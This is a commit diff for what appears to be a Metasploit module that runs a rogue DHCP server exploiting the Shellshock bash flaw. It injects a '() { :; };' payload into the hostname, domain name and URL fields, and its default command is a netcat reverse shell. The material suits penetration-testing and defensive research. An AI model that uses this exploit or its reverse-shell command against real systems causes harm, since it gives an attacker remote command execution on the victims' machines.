Skip to content

Commit 5044117

Browse files
committed
Refactor dhclient_bash_env to use the egypt's mixin mods
1 parent a4bc17e commit 5044117

File tree

1 file changed

+10
-16
lines changed

1 file changed

+10
-16
lines changed

modules/auxiliary/server/dhclient_bash_env.rb

Lines changed: 10 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -46,34 +46,28 @@ def initialize
4646

4747
register_options(
4848
[
49-
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
50-
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
51-
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
52-
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
53-
OptString.new('ROUTER', [ false, 'The router IP address' ]),
54-
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
55-
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
56-
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
57-
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
58-
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
5949
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
6050
], self.class)
51+
52+
53+
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
6154
end
6255

6356
def run
6457
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
6558

59+
hash = datastore.copy
60+
hash['DOMAINNAME'] = value
61+
hash['HOSTNAME'] = value
62+
hash['URL'] = value
63+
6664
# This loop is required because the current DHCP Server exits after the
6765
# first interaction.
6866
loop do
6967
begin
70-
start_service({
71-
'HOSTNAME' => value,
72-
'DOMAINNAME' => value,
73-
'URL' => value
74-
}.merge(datastore))
68+
start_service(hash)
7569

76-
while dhcp.thread.alive?
70+
while @dhcp.thread.alive?
7771
select(nil, nil, nil, 2)
7872
end
7973

0 commit comments

Comments
 (0)